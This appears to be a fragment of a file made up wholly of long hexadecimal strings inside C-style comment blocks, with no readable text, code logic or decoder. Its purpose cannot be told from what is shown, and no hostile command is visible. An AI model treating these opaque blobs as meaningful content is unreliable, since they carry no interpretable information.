4cea686c682bb09ed7df319133098462fe9c7b776d7eb85371556b687ef30ad4a07a736b5c45cce6ea54efa2fd64de63b96594a13dbd22e65dba8f01d79640bdfa216b4be311ef854c26ec01123a016364b76616e573e3222f366edad1a90c6d3732b750719ca1f8a9cc0a8516306dabd728b2b14eb245840e5447b2f8412e9d39fba20d372d5588c5645c015df20485cfec5abfd79e087597a3571c57f8789ffa5bf8ed40a623d0c6598407851cfc9204266b61fe2d460a41ebe7a50ce6418364a1db3d245b274539c375b27ca0c1822d5ec40ed9165368d041465e0efda8ae5f7c5c174319ab6125e8e4653371dd6a182f0b1ae2d15f0460c2482fc4247510ef5fe9c878093a3498c9f9a56491d198e7970afb1e17d3a41b8712b1cbc686f1c25d975b3998bad98e10beebdf4b0226bced6e6864e63421c1a7d57f9ae6d49346336229a78e2b636171bfdf2280c34527738fc796798a3c81b5d87ec3016584cefca833a4bb7e4d67a4435c32f259ad1bad40266f90b247af1c1b77ee7400c7ea658c712e0833bbfbdb250d7ae741a38e102a4f0d9121c19ad3563d121cf062fe5b3ab895fe91e8911307e3a0740eec0d3e24ffd1023a83eaac7c40b8a9702b76fea175512bc3bcf4007788b217097f4c68e2807a14bf7d7b2e2a6f3e0f742408f6efa54399a116ad88a52be01716081801b3ad0928724e30c2ebcfd0fc2cfef81924651455bc63fe142abe2112a48942e3ac4980ba52e9a419a19f8d5a07cdcf78866829e4e18a03228d9f10018*/
/*7de30de3cd00bb5396dfef68387085220f1579e38e8f5e8e36645c5b261b4fdbedc2a7b1c7e6a729838a388c9804ecc4d70d97837ef863792d3ab9f40c6199ee8624e60a9c056de08a783437858dfb5e24a3b0f7dda926de692e14135e87ff1d5c35d598bb0dc25ab2d29ba55e0093c65b1e3389baef11ff8c9667ad029e7c80c9443c513bec8cb81347dd3225a8198f2f3c9d729c937cb148ff9e50068a476138e86ba6cdae62d443b6c2952bf447e41b9d6a6c5e22d5c34ded90d3ec2adf19c3515f6855ab5071fcda257036f50d78eda47ebf4c0df4f71d146cd5adb45438fa3c0fd1e5f44cb6b2401a86506a4558dff18cbb5ac048cfc05bb434c169c8f062ceab09bdba3c7f7b5c790098a23900e7c7c0bc1326da2734fbe2de4b1158f5d45d51a730e1ec4fe6cdaa0c8a38fe51861298cf1bec827f12baf30f41522cacc6a60d2ce33152a1ace82079a8517e54e5de23d4a2907a7e25cbd0d622ecb22a3de94cbb4354f0ebcec82c8647958dab22a1c4e465c6b2aa2245a8238334f5100338b7493a95b55b9ae53d84115700da8e51a8bf01edb37fcf87f88ddc2087e5d9df75a6b42a91c7d35a5eb7f45d95fa2a529f6640d8b5fbb93d2e8d2c569936453d331ad4879a97485f51583d6d30f3d80de43a8e1ffd5f345379bed64c0c38e423850399e564fb4b1dc56c34c9f2110d3b5a3dbbdf1d55d944a3bb5ff6d3c4c6e5d93e37f8e1e03a3712d9b6667f71b334e4814bb957f7440853ce5666d1f35406d1d4ce2cd7ed514011c7dd15835bd39aa9202ab9e3989279a297e0b9985355195976536fc4b6f69ac8beb2cd4e41feb6610f0bc90cdc8e50566cd4f911a58f27d13fb0d27b3578e961f778af242befed43e4fb904e47cfe2cc64423c32a30f80f7c38c89938ee9d0f3bf3fd4ddfd772a8fe87e72defa0caedfc7a22ec066e2cd37a025b7360db91102182a7e10a55e81413941b6e624d4594081e65ffa46ecc63611e9e8da9a6a46d9e4147a549ae4c86f6fbc8bd892e6ab58c65bb72d6bf4acc67efcaaa2de0017f358ce43ace34e10bac6b67fdbb95b11c087414021cca0ee60ce28c4174acc885b33fd6425a148c921bcf5b0a63a4d946b97030eeeabb146693ef440d10d0106782b4944015ff127ee271983aa0db825cde06fe002b0c23bd54c4807c02b9d40f9be2584a27b89b55c91c85fdd6d74a9cb8fc42db31b0a1356157a93bae8ec40f4719af07b2450076d2e07aa8ed4dc09dde032240f548b389e2f9969ee15770962b6e05c98af9edfd662ccb7f6135fc8facabf2cf92b410dc5737c5e1142e739c69b4c12c22a3c996d5d4d65f3e0c59813bc2797d1414c94cb7a62878ee6f1d026a46901b713693f1bac0e96242104a13672f30f0f1957bc8d34902d9fd1e6cc6632b5d91a70038d403dcc6a8fc939e952fbc20f41e19a3de528c1d91c88615c180069a1811cfcf13d73bf996455b89b0f6ddf40b0a7280f44653bc81bbfc1a653a982b76b7c3f3d79a91023d3dce1dacab2e65da81aafc393444783e2f1eea7bcc773c51c2adeb351d339a6bf66dc72c02820396b5fa8a366fd1bd77d9b5b744d14057e380bf66f57fdb77d061c6630b7776b9e968f9c0d48b3a93d95db148037c7625dc7c674ef01cddca511578770f3878f2d82d4f1a327380735070f5581dd20642a7d1b72150c76a5de1101bb06123e043fdccba07acf9ad5bb1b3ee3cbb236a9b4e3fcd0bf7a8b6b92d757d65eaa1e7eeb70ee917c23aa713c8ef228a2d0eb3faf30636a9f3bbe510fc1557d4f67861fa28a0cae35ef41729db5b931ed466fad5b07572b4330a534c409a83973883ba5d8e64e006ee9bbd526f8b5e31348d6981edc3bc2e62a9fa8133a914ebc6368bb31b629e1b6ee151a469abcc1b8656624399b684cd2842b2d11ba9a5955507d042f9dd46378c77ef07822126f9484ca6c9b7ad7df2a617a2174831d3e66741fab916b15325454a0f9b39dd0a21d5d437d898175c5144159716e4929c846b7aa6d2228a87600a03fe4f77c8b5c55159672a1d8841627caf316af71d9ce07da4d46210c4f8760c70a175e92815fe3b9b5e086c4973b447752e4d7f9e691847c60a4c8ab597916f72edee11b5714027db09e6512de81a6a7696c6eb9b364dd19a83cefefc9550c773606beceb66d8d2a8790f897f776bb92b2caab402046be40943337f3ef0d7b4b777e845d33dc4116fba9de076bda72adaf3816a7b0755035fb75beb74710dd3efeec8a64fe295972dc6db9b70527dfa347b2b63bdf7e83b6448accf64673d3ffd6a0ad8e54a5a9edfce6be124065ef60f1b202b8e360e64e1914140435eb78c47fc24c123f75af4df0d3639d3f3503f44fc3fa2abcfa441d7b6cf250df93d83a1190e7fbf7deabfe0e72b7e751d520cdbfbe4a356287ab27bd4bf8d24d3a3bd9c1bb66b1dff0a63c1263350f706c3ea916affc8151e59e81f2302bd477eab085e0c69ada11d7e4cc6fc518f3fbde40ca933a1952c4010cc2da91d1b2521f5422e8ef5998bb3c92907dac13f7757aae4f11a025e169dbc94a4e878ed82544b55061afa138e02d797407b013a5339f8c080209b47fd3b5fb5dea3fd31737d893584ddeca19219f5f75641cfc8f462cdbbb6bccbe11686b5f220437d018a95ac5081f33d007b41c31513f81a6ce3c2338f4ab1076a0c203f5bf1c939d8aa04b5bb98c35033b22f4004c818e8ded377c29c05fe308845b312965dff2bd382e7a38fd1c70f004a2353c26c1652f2ee89f06dd0f478b4063eb5698b7d4c4c7a234f60039a913f9a0650e816be2807d3b*/
/*6b4223594abfd5fc58d545ee1c8051790f44ea04d0bb5208097a2af84f691de9f2259426df104a74a8506fd8944fafacce7c87de1cc2e32fe78f2dad9936f61dfccab6e0b301bae94108ab9d3cf9628231b8261cf652863d830149ec1e61c572b016d69c4abdd96a9bd9469a4c32f660ef19e8a111d9e5e47b64748e4713b75d90e1d13eb033d164763176b7935dcdf3012e4cdbb95295e7bf72ca1fc49730d95ce79dc62da133f6ff9a6a93499fc7f0f1dce6d249c23ade0e0dc012f1b6860bce67e8aad9811fc00964c82aa960b19be0586cbd1c45242e4dd23be5a5ce14aa36d86ea824a48dc034e4c3becf44e73ca165eb59df6933c86b1eb0e7c6ca86c358f944e282c0f10e28cebff4f05f43746d5b30d1c418f42f1cac7a012e3b6d81e62beeb32581b9d3659fd5709d8cad57438eb2618f0d39fd0a19c836ffe9efb93265e726fc86434d2b7496233ca48b41784b0c073ea5fd158dd49bf7dbcc0108eec4777d44b1620e39cd0c29a29981e2bfce98e7436b41bd817ae699e81e4ee19866deec7a142a05eb7c260d30e6d910b1157f92be459437227cac370fe1f3f9a99dcb22fed1ae34bc89daea9c631202463d606c4aece3c0e4001f2a8502f6f7015f512d633eef59104cafab02f7e158816ba94db4609ee73d74424157f4201c9bb72a9daec71dc68ab7d1dee13e976e89e81b3548f72f62edbc6a1a8074c10c63b9d9b0b36a15ceeef9194e50e6bc6959e63aeb081150a720b970d26f13f0c57d105cecfe54a4461ca7076489159e0a8107f9c7824fbab07a6442445914cab88b233150a9139c2d88573b78b5d3f186378d2be151acee3aa618752aa2b174fa2357a01ce5746c7fdcce34cd23d601be30bf6bcc04564c2714a573465ca0d0a2fcc0c315b8b6c7413e84b1e41e699e38d626d577e5555c24d203da4298097937a7d3f82970e4eb29e2c2d6cbf764f0b6123e82ecd136942b1e72934e3bf5eff4dba8b2dbbfce466fbb298f998aaaec8d9f55a64f11e8663246a56bfc5c4ed3b9ad324b80a28662a5639cdf7a1169301a491bec4486dd265487f7ec1ff5e59db72180e963c452f732e145e031fa08e5a642d6e1249ddaad6816a01a683a797c50a1300c3821fdda4808e79ea025a5aefaef5548dce23a16494c5397524a3aca877a877260a1984814a60d866d9fe48d43acfb1af085bf9b2d71c4977f1be73c65830df80e6b5f46999f7cede847da1387c8a4c6447a19bc1814a551805dcab2ef5eb27316a8449cd7f7086a92fcdb76a61707fccc1a2a956313369e410169a6cfe215003f094890582b850bc35620294d41ab1b845b0636a3288200b63b1026c6bec6384904ad8b8482d64a52324a14a48332bb45a4ea45bb7dc7ad4676942e05fad78a9fc503af1d8178c95aad1230c8e4505d84c6dc9bdb0d9d06b9def7dcc1669473a09aec02d2761c5f68dfa34fd1e4fdccf2c87c9f108d42412cb1e91fca238100a5e7c08273139e78fa4766ad1de9b30bdca4533cb9afa8ab058560ea1433d993d71b80ee7cfd52054226e942b9c7ea6503fb02704079c87f9441e2828dfd286ee3c711f30a4100fa6eb394055cbd317adc7b6f016075b7077b5f73111ec6b82aa9ce51f0b811c2400e6c876bc368d8e6473b8aed2cc061c59cca7cc74317eabb2d98063203bff9497c3a7562a12c0b121e0856af48359b61d2cb4872ee0c90f19d605bf14b711a3ed6939a0c2d46f0a4caaaa4e96550ee5a2cd268f006a2c9edc97fc1ef10051416f20c07130827300d603312ea500f1f8d8b3fa30894960fcb9863418cc0b82d74f5513c75a38899d19e32bc6a42d9bf0dee237d28097e1acefaf43269a89ec53f61f61ea140cd295a659a2571fe9e14cfaa45a6228b6255c24a5c7ba3d83e3b21d91b737bb10c51f08618364a3bd80074ce68a816dff3a232ebe50514e80a684075b1c463e8a15066f6ab3ec990dc85f74b5de55afed781a162d8cf9c6fb0bec8b61ef9a840938cd535a35a68ddc538918f53832ba08af472376f33c833e5a18b13e26340e608e2c5e3aaec533cbf4535d0f2ff2aaf7f8671476ca2913a8c3c7de3787846e2ad74e539647d23350ed32d2eceba82c6047554b33c57821ce21274c2d9e835aa26b0b0aad8824bfeb75b28839b80ff1d54c4a2ef2ff0a3a7ac1254e114c9328852ffa9cc61c9d03ad48a96456ce3f8d2012c6dca632a0227ac17f9661def3697289f4e263220e82529bde55ba7eec23daa4566b908adf776556c8eecd15197a7bb3b45f6f954f439ff9d00f86d14d55d156e429dea534e443efd7a3ae50c07f1f27baf4c9ff04426c1fe4808aeb289cdf62794fef1d9576ebdfc23f576649dee852dd01ed99b11a0c391d1841ecb06a5e3bd6bd9986ef2353cec677ec0cf8bc295dd130676b1554998a50489996f49f6a8db51d8c81c7d4106919e129a8eb287fa6e8486a833f18fdaa9fa6c5d9cb503ec9d5444352d733e414836c2652c459b5baddf000e85a349e9e19149def59eddc0e28ecfbdfdeaaf73e5927e0e0f5ba47c8ac683748b0a00505bf8a2e75e27f7807952268f8cdc64e4bb576247805a55caa2ed3960e90316cdccaf85abc53db4adb376a9905f5b70578e8f53ddfbab3be57ce4cfb5423fadd284334584da026218cd3c4d15e19b526ea55cfc4a1eec32bdf7abc4cc201e567b5ffe8b5611388e31be01bea24259d9d809a3229069b61ba6cc902745ca679be29ab1795f99ac133d12cbf619b292eadb617429640f6af1c266c273cd202db50434238d56c50b026561b05f04126454b74564ce1b818a9a*/
/*c9d24dcae073df179826bc72f8ce4f17cc22d2daa70c7be6c0bfaba1f71ea2fd001fcf01ee887555e529df3ab740923292caed3ee499326fe33660c8bce429ff68c1342ec064cecbc64b80708317e93d0781e5a9046ce650e7eb0b99affd28443c32986b1f99dcc578e1acfc31b280a12c9a50f9260657e7a4ddec955aadd439376b718a6c3d1cc953a300f2703707cb83363a49a659d46d34c07e240c8d856c4bd3bdf0639a1f5ed9e4060f629cdcace32cda581d6026e58f6663fddfad09cd2bbc7aede2d252c300879d236629d0ddd91095624885ffdb539d1ed05d76872224824af03ebd110443f9d97353a875ef3b688888007aff707b54bacc4d9f99d5350ad6c3389cb1a499c8edbd510d8bd7564e08917f5071a21097a813eff33fde11764c20b01de0ba067818898427d34a5d136b4077b9ffb395bb07370b37e94fa90605d3101d188b0f9ffb7ef5a7d74693832a15a11ab034f509f6bde946723f43aa88e76b67cda4ddc78d3302dad3314a2b0f2ae3e31a3bc1f35be671b38b0c0a6703738083ffd8d38205b4c8f3c4d6eaa904063515f1431472529fdb6052e61724c7e4ae21b884e06a83d2ab9f0bc50498d1a31e9eb8e3efd8646589a4de15aea92200bd8bbf8564216de574a4e4ba2d95ccd81c30dea423013fba8d671d60e646481ff433071e797fc62309de7bf9c749c9195a5c7995c6c555dffaa3daa302613ba06948259485c0790876828d077cc9e56f72c9d7ccb48306698fa4e2306215465c2ecebf7fc20cba72b9b0c965f71befd4169af0fa27267d10d131f8fb07d611a82edce3108f41dd157311c8572fc1855fbc9f97449a7b1abd8fd3713e8d5bb3953364846b22f51ca11cfbbc67d57f682e7f691a8df0bc9972c16a3945fe11bd1dd1427cc28d01a7ce749dd151e36b1bac77270b6833db1b3d1e3746729f7e5c6838317116c476eaae5eb591c00e1b4b91f9d3fb3794adb9e64f89a8c3436866a4022161ba14190a113254a0b36a6885d9ac4b1ab04b797650954dfba482278a4a6d50166a3fb50da614756b99b460121e73e65b6b5a4e9addf61102f1824cc4a2fcdbeadbfbb79952960bbff11894d3b32e90c08436fdf89a357060d722709b516176833754b229fce966372dae1e614f66cb5bf0b018fa4fc41153e6c2e7000e3e6506b285c127e85715254ec69e7e9c5df877e237e5a226f8078caa0967c146a309b1e11df65195772d7d5407da076920b5d5390e286302e7c6bf2b7f5f6bfe1334cf28bee4a75fcadc0d4252fd3900fdccb1faf285cf1c15056f0cb6022ec3e9d6b37a4ad501b0ab4f5e3a002ac1f55dba3cde955a1e1a03103dc3d31679bb823b00bcc6545aa77b07694b2c81427f4c158133c88cc8e624ccecaafe003d55392f6eac00ea7d682ec2bcd02ab3a453f57229fbd09d78a1e4ca00c0658147b3100028ba85ffb39933f3e6a53115b4b696990def721542cca97b674c333343bcd4a0ab11df22e4adf155b39ba36bd0a5be77d8c1fd6c3db2147048d611c15b1f007b456e6bf7171587b3e971a78320ef5a47cdad65b44bdeef584a754d62e6770162a712176595c29fe6de117a90301a4f23638732e4d02005978cd361d5455ffbca143301614a9e70ed84041c76b9726ccef08bb14d87fce56552735b95a6be100efc4bd2d9afaad851557719f9ec098d6db3ef3932a9611eb6e36ec508d8e4e0466e2906a3660251b9959fe4bcc311b149069afd171230507fe7a0eb3fbade9985d8c96c0c4f4ef491b380fa2b595a763ffa10883fa7796a0ae88cc4697b6a24adee9ec46885b085b5c7761321f500c55178a0ec321e600f50208a4b71f9436007ab32e55ea0f963fa257466359ad1b95a303774b8e04dad2fd8444e6b9a8db4a736e273c75f76504e238baffd00ebbc7c9c8e9ef5ef366871ec3caf6b52297775e728862166b41733557af12accf756ab266f497a219107a1cf7296026c0ff786cce37025da1452b58d424b6dc2ec96dfb205e22e55be678bde0b0e12e46bc649962b7f92ac16724fa65e44e6c61aaa14351ec4ddbf4def7c7867f59e1e8e80307a24c01a4ea210f6c96c5fde5aab5e02ba1ea50cc9be28288c6aa9c2f2f97ddfca9ebc8c12944c779f340660bc962b10588714acb2f0f9fdb025965f2ac2e57f6de352f325c2d12b967ff5d6c8ab3eddbea9b7dae893179201f5347decafebe8ded1a6d695646d3e27816a3effa77017310be3154a17ba8ff91964a767f2b0f4b6cf5523d8f0b55d7883708ef92cf166756347020add009e3aa88acdaf8bc04f89cdad53a051e168c63037086bbf10f711f4f3b42fc899e10aa380e5a7f8f64aee20389c7cbb82637b1e02bbe52085d86033d803786935b164737abaea0ecf90d55ee76214df5a8f6e40e73983e27078565de19bd9df5ff874deece2c1bacfbbced7ac4dbc88ec890b4f940e0f1957d7b5a3cee33eca81a03e24fe02d24fc33da90f1a05b59dae5e3d02b719c60f15bb32f139d40cd5e611745c5df2c57da251ba55dc711a87604f7307b8b097e3fcde6715db63d09908c05f07f20fbf344fed09d1eea07de352c1857105a48a8a3f4e415bd364725e6b8b8486f96e9972e37ed34a36d816d7efeca3643a3b4690f474910e82b277708a1eef9ee01cd5280e3b7ac65d47fb8aff5723e1956cef6c076d84f702b9d36235038bc0d622929614feb4e6c764466c6d6d9d93a0f34c1ad2c924c58d06b2e94ab04401f6ea7db38c8ac5969cc7f4cc491b7645bd60b805bd1b59a91a2e13765c9bfaf3a37042c08474141b6a67b1bc0170e98c*/
/*1e129641f523bb8a8d3f2708a5b00b50ce5d27b546a2021cec59f17e2ca8dab5fce446ab132f46609712f6d9aca7222a2a530a0a4a9a3b603318dcf2c4325070680f2aa5b239b430787aa6e1930b02ed72cd1ed32fb404e0b5928c4c397fc4c5c1b0d00b10f6bc47a897bcaa035339ce0b3a8a1dc34beb9dccf99a59439353dd1b135b5ae578a195587cab09cd51d5d4f37bf8252c2f1989ec59ee7a74ec932882aa969d11d2402ce9f6990c4c4da3d395456e4d4cc25e4a9816467e8a94958733942a47d330b8fa663976aa2b1fc9b077723765d7ac34f64674130f68d1d7d8e497c26f0934061a412cd094db2e06c0a74ecf375e94fad59db599d7cfb07356391a3ef8e32a4a7ea5ba4b29354fe043e45c394b2d21077c3b5bcbf2a60552de1d8b627b06d592203261cac50b92d210e624dca700aab6985a9646840ae907ceb1b3e93b134704bb373a6cea6aba7889c44b7a5116942eb38071d7f2171c72961009cd1dc4da7021fff5846d06040050fab276eef6b6e504599def474058959aa4706f7b9d240f9f8133042da2979a7759376b69068871febf5981ae4b5a97e8ced9da8e0eefe11d54f0a75bfb87b36cfef956800d6eaa3a3afb6f9cd40abe79af9cb7bcaf0bcc42fb89497967a2f0cb6ce687be8c6e51e20ec59f7a44921bfbc3669c39545f788525a482cf0604e6178805483b8912bfc152ed8b8e0f23b14ee0928c6a02c2da7b456f5a3e81aa30431a6105d3ee7e6999b95a048a9560a762a5bd4f49e64a87eb75018fbad2fd0aaecda9f51bcc091e5968797d83785bfa831583dbbb099ec3fdf1306219ab8173f5e3ac3bd5a40fb0dbab9541db141b371db218f9c9df99a178a9686e6dff28688eaff575944fcc14a163a91efa0f21d083643ea946f4d1759cfdf43fadf052372a1270e4bec892ff11bebfcb71526eea447ba01db78c2f3335742bd64d58d8083c1ea553da4b9799823ec399cd696c8178665d5fe4c0ece59e080f864460651a5588bba703f818e19a2f203a6b1ce85bb8c088a279d3bad7ec883edb8749ca7f49355666948fac5c584260bd07b8efa0cbf4433dad1ef65abb511d0fb07758318792ac77a9d674617dadf6109d58d648a0c6a3586def47bd5bc5af77ad31ee9ac7cefc8c1ff2f90018a0291d22d0b405e6fa19c312b91072d44d3a87abc28a2fe37f55bbbfca1eba1eb42c39829f4361c01390798b6eedbd803328351285fd80825a9934494e0e3e4f45b4df2d7a5f7bc9b556b435177c68d05533269ae4373725ac7bb8ef64e5eee6e568851f71be8e8f73d37d8fb5f936ef96f8e3f436d9a4a3c429a859bafeab224ed47e7c44ed6d78bebbb3331aee3b5a8b5e61a175c5b1999b9f85def792efdd90919794f04c4687013c0ad44c8f334d56600eb003f069990a74cac83ef0563512502973a08ac3a65567120515afac43e32a0454aa4a33f9aa5705e6babe0b2d660010830eda5b6a81f734820d1bcd81838cee1b46f9cc10e01f6ef4eb327b7b63a141e9ce4bf99f689ad5ba702454f2b708b0b18164db65ce52cb8e2496beadf09df6c280646db9bf282d5d315af53b54b73ce8df391fbcab33979db3bd8350b0088adc771c36eaa5c43002e8a0f8bf0debf434bda623971ac25643b250e08836825dcece2f362db0f73f8434e0a5495e113d3ee2d2a7c785538c4487dda90ab3075b7ed05144ed4a9534d74192d2f88aebf77e2c6290fd297c32e060a558a3dfb006ec4d29ed6ed7588209514f6a079d8d976a93f9cb58c7aaa57c15e7a877ed2d2d6dacb727625f38df8ed39e4ae64c52940d3866b06a47396c373d1582f695b8cc750dca421c19b2fb41c93d71b4bcc68acec24f5d133c43b909a73cc9929520be6b883a59d0ab0e61374432143db0fabd99e01c7f2d99f9ffd6f1b11819910fac759cf577f9821a04a3abd4075557ef69c12736c89c45c4fd592877f87d816379100eaf32a9501224688c26c46c84530dbd64afd42038ad66be021f2edf6c9c665ac31dc43d8aca0e2a5c98d278e2cd3e870dc9994d4e0a1f5a8c700201942ff7d75cd0e2706e95feef32aee4a28564fb2b8efd1d35fe957107ca1908f2330ad887ced78c00617e5fb0ac9602fd4a4b5443577330e1186648aea53e94f77a4cfb3b0091b96ae74085065a9bbdbbdb83b36bd83e731a07e18b574109504fb8c29751eb192cf3ec7ecb812d41adf89fb39a717db0df33110e741dd6b4b3acdbb791cf2f102a3992f4d3c365cd54619debd35c65ce545bdfd6e95706760f3b5669880b5bcb837e04a5db0507ed7ad86199192fca899e41d54479789a74dbb2ac7bdcdc93af98588412a0974b51d51e1178eba6b291e409a0a832199e0435df544f676593a957a629c484a2525bfa6cbb5ed394bbc104d38be6fde8e4d6a40a8952674c86dc95a2fd4435baee3a7b4a97a8fb45f8d2e0b809403c968dcf378e1ab4c145530d566da12d69541018790406a427f241008cd8ef73bd714aa89f1ce280cd8d55094767b81a38bbd2e3e64d5c035d81f073114abd308c2831618e6f4c281860a1850201eae763d366278d50beeff6512a2fe2af739880177a1df332994bd980956147d819c042551811afaa60218bac92909b9a3a3b782c1b78f17379b98aec34f1e09aa8f31c312d6b33a5fe8c0678c08b18a109269ff0b7fa7a1e3e14eafcd12f226571016ff52980c657ecf4223604ba2ceda5264f8f217721ab8a87443445143320931589994bb7e89dd5edafc0472e0834963559fae0b2fff836b515050396ababd71804e49ebf0a233f43dab71f467e16*/
/*9b5d92801eb8492c89b007420a636ea9751ec89e10f5e87a45d7e1fb0c3964ba295c11a67debb85f48a4cf1ef312274d5ee408ba79ab85e6f1499d4eb252d532ee456c5f038f604aa49ad83672e34053a71bbdb551f72db1e0e02f98343b65ae8692cd5b4b0f97775d4e2e1e627423bd8a424b794100cd4d953d4c067341afcd9fc5a532aeb430a9ee00d17e7a759de183c78544523bbe3da6611a3b22cfc0b25bf70442129beeceab3983994d44ebff5ebcabb20d9d2c49f9582dffe431dcf32e0c6ca425267853d30ece7fd44d3ac45e24a049e79f63057beea7f3ce7fdc046b533dedd6e45f1c2a422e2f41ea0de200fe81fc249741b2676a7b29ef6db170dfea113978e542d0ff1e03dc7f71f0b0f0a954d73f6666ca48ed6e26b559f7b1fb233fad85bd6ac9acf1557d8842d9b943e9d437e37c5feed61b6508a60e2a914ef77dee081c9cf501f2268e167e2884b922fee23c19eba273d94ab74567a7380d51422773703bb600ba319d51931f7cc2844a4e340e76a7bbb9dcaa6fd1a779332424b7b35ee9acb7774a853a1fe247eb527ee34d6986a138baeb91af30f3829ba44d1371cb3b77e0d80320fa4749805b56a949b3d0feb8640a510ac73b97862c158a18f0d2ba4b75251ab060557fa8bdb0388f6323c2e47ec54712562de6567b3f018c839c1d4d158fec35255c7096edf8894467602d74f9c7cda74cab31314b713201101c004fb3c1399058390b33e87b0c864e1c10aea79fc01bbac21b0f57226c53191006b37f770b09d637a5b87573a97949739f9a3a38266d095f0cf65f0b59553204972da84778170730cb1a5f9cfe3b55160371f309dc1417bf8cbf5f7492812bf0b3d5271baf53cfeebd00018acdccc5997ffc1b2d072322c809b2a3af8f3f8695f2f19be5e60fca65d0af1e39bc061174bfe7b68f1aa784a7759624cd4ddf72671b32de594e724290b49cffbf1bf1d4f305ca827a40b168496f15be71bca7df4e56d5be54ecb5891e6ecccdd6644c0e1dcf924c3dd32fbc5a196aa6ea3afe8a6c8aa04f5a5e30b3e7b570d116a0fabbb03fc644b5f687752f31c97b6d018916a0f627cfec10db4583ed67b031495fc7704fcb59e6db32fbe5cd780640b4a75084bc680f3f8a67ec43f50ffee948d62c93d878c6ddb1160ec31af6a6b0a25fc6a59a6154b79817f29da549d05214747ee473078c0a8da97ac85be714d1d9f8d696d6c6b4dd2be1ab5404102e8cdea1516439241f92a4cca5077e98f55ac559c4861276a90028b87894e5d0e5af03660eea8b1cf11a315e33bbe099e5a221b5bebf2b848aa1a947f6103afa40171363e0ea0b12841210d2bfa9b626020441bb45c80c5a24d8bf60b2d8f0a004d6933211e315d04684ead26a0939cb6726fd609c3394d5d04d26f170c3c834285db5c9478ad982eff95c2b70f895f91eeb75f1d82d82d2dc98b04c099e17f7b887ad2a1578ea6652ee98f8577ce3719b34f1de83e7af28c0f23f9b751640286bef3d032466ee89c249f4f30a900fad4789276920dd47f416a94c1c541b383891f0e8f7b24be8e9cd62bddee5931eddd85ff268bb3fbb445b37c1b391dd4e3cecdb79430839a47f171c107d860adc13c499b1bee9f6a94e58ffb8998c573b3ab704f51ecceb4b9f2c8de9532eaf77bc33e8b8e09ea9df194ac5753b2abd54248577aa7a784e7f3f80d5840ec15dd8ec71cc60b4683678541f7a80988e94ae39c2870246a97789ba13416dda74fd1accd4528fdbe9e3e5afe66e423c0eb90b2cd73281f32cc0765b84ec39a243060cd9a456679d698d4ec0b79f447256e33fad5396887fe537e47373cbe6a93d0855e05263dd25882fbb3475ad22352988b12a35144a9f258f5990f5e0965ac2f6a4594b16798dc1d9132d3154b634074149c88d4029843127b9f4d81ac10b42592e5749d9ecfd43e5e71c3f2d6b24cccc828fde4c0f34a38efe9cd738068853dda41d8c233fbf36bd4b9d4cadf30fe81c0fab6d20329be20ae211012615e1b4773245927168d9523a9d11c586a799b91bc8c3086be8c29cfbe21332d9a7759b3fa432232f6b5efcc568fa9037c144d8da158c8e150b0857bac3838dd6a90bce1cb61e1c6b48a387020499f8f0e28c9d48ebfceeb101f6b7ec6ad02285f8618fc412e4e87585f44c4791bc621efda762fb7b09d73e952a769d60c76c6473a2fc9d4bef59ce821a692b20975e3c660284e681bf8a106d26f665b4229ee5645ec272e55d789ba778d15ef4cdee703fad09fcff773d0ffaf428a2e8b18ecef51c261f42cc8d327caa3230310d3cbdbe9b62474c1dc0f34226a5afe44cf62390003cc3ad31301c2ea2260a4ad006b0d6c27272ee7813b6b8df8cc5901b80ba39a6d103dbb920e97e55b64894f9677f3dd6ad3cea34a6cc5a1feafcf6a110082fd53d0a2278a7a4534b84ee7e83dd48cf3aa672533ca9b0632140f2fb48d770dedf96bf10ffe27fb85173beec6fdaa8cff3a2703aaa811b17b08b6716b0d2e9dbf46f0d77fce9f8e6c9e5ef0950f60c842a58ee8a1767519c6982927e66bd570aa9e896248b7707db6574d7fb296d4697f6187830a1c001570e43685987a4fbe2dc750677bdf49c8f4ac7df4cd3b5125b81b3daa6cfe189908a961fe2bb727ec3faf543085252382c91497418573a2216a465f36cfb03c97e7dbc7dfdf4a138848551a9782e98b6cc5515c29da42f91914461d5c1689bb6488e0a092d72129858874bd13f243f4e95edea962672480acc54ed236d7921fbe2d64bd0ff918432458768f0d50fdb1aeb36b58e5e1abc028ab9541c840c*/
/*be3b8ef8e5270e4f1a7eb6265248a72d0a84ef48b50aa4b4cce39e6807c0fd3ebfde4fc69d7164381ddead8c6b7a32a02bb00020c8ec3fd1393698434ca74aaa7b85d1b59df939a753a2819f2165bda8d6191ce4c04ee538d5b3ceeb123ee3fee26c87d5b5764a27f99dc9c091c8b73d27ea4c65ff9b55c779c29ebaee5e5ade9671c5b333be49ea5540b8d2a5d4bf1c9bf72176ef454ea56e846b9817c69f7759d72f240646b6b4e0470edbe10b53dbb794ddd487c78f7bbd5a83cb317e15e1087546ae758d95ba4de8c0ff2ab7a2dd5466d92f14a2bc9e0d0d272f16455360c3ec684759fb88aa29bfa97ed20937438c7086565cb498bc945137307d20cc57464e629b8eeb1e1841481c0169734d3f10f0975b7d2df2bd98ecad0bf787077c9b1736b3fa067f5c30c50049ca083012fb33dedf6592bc4ea6df288fb1db9d3717a783b8d019d60413f3a5ba2a447440e0b5af474e56b30cf31744d4460260152c7e55c22234ed8ed23441ecc44a04ab1cb0dd6b3f2c62b73f3742f92dc17afd135e35bed59cdee424daad6531e6d8340e0552927a1297a01b23eb5d7e390cbf6c9a95d556f4bf0961c85e8169a07a9b3a67faa87a493b9f27527b2675745328faefabbcc5e9561532bd0ebff864f88a681680b199b9a6f92007ffa79b3108cd7bdfd4daf8475e1e7727da65c293a6d7f39388d6c44ec32d1298fd91d3a760db5a1cf2fce3e5fa16081b2e23b64df6958ebea15c418f7f2ce1d5fca5e6447cfe9d35733720dc2aec602fd421830b10d4c2881ec689ba2015f2b5dfccb190d5c1a35c20c54d96f5b72ec2c72e57b508910cba0c5e35d20a01c4548b05c3296993fc7befcdebb0dd437da25b56426843234ca38ebbbfcc4006c850356e1cc01a18f66c1069a488d998d67629e1bfbd0b97cb39ebd89a284cf2c235118cc0ce8a670342cb66fb98f3d0ecac4e20a91a28237bcdef0ec001cafdc6b46ae4c8a0ccdfea9bb2f66b083ed44f53b6b5c2e81238d3405de9d3ce2b515ee4923b29055009f924e9cf03d519197df75cf00884d54e225bef14d00182c545ff8337187735aad0f1427797939dcae7a5e7eb3bb904ced8bd218f96ba9a8f84975d373739595246ad912d058efb65b571d64a8429a70c09ffea10b0c8d9323a2169bc7ecb1f5a481bfeae012e2d008353cb0554c84176703ad6cf005fa69ce8833a56fe429a056bbd040b1dc4103a87df67e37b3704bf42e530bbb76cf7c717e4586f0323f4ede3ef2dbd13cb2b1a301a96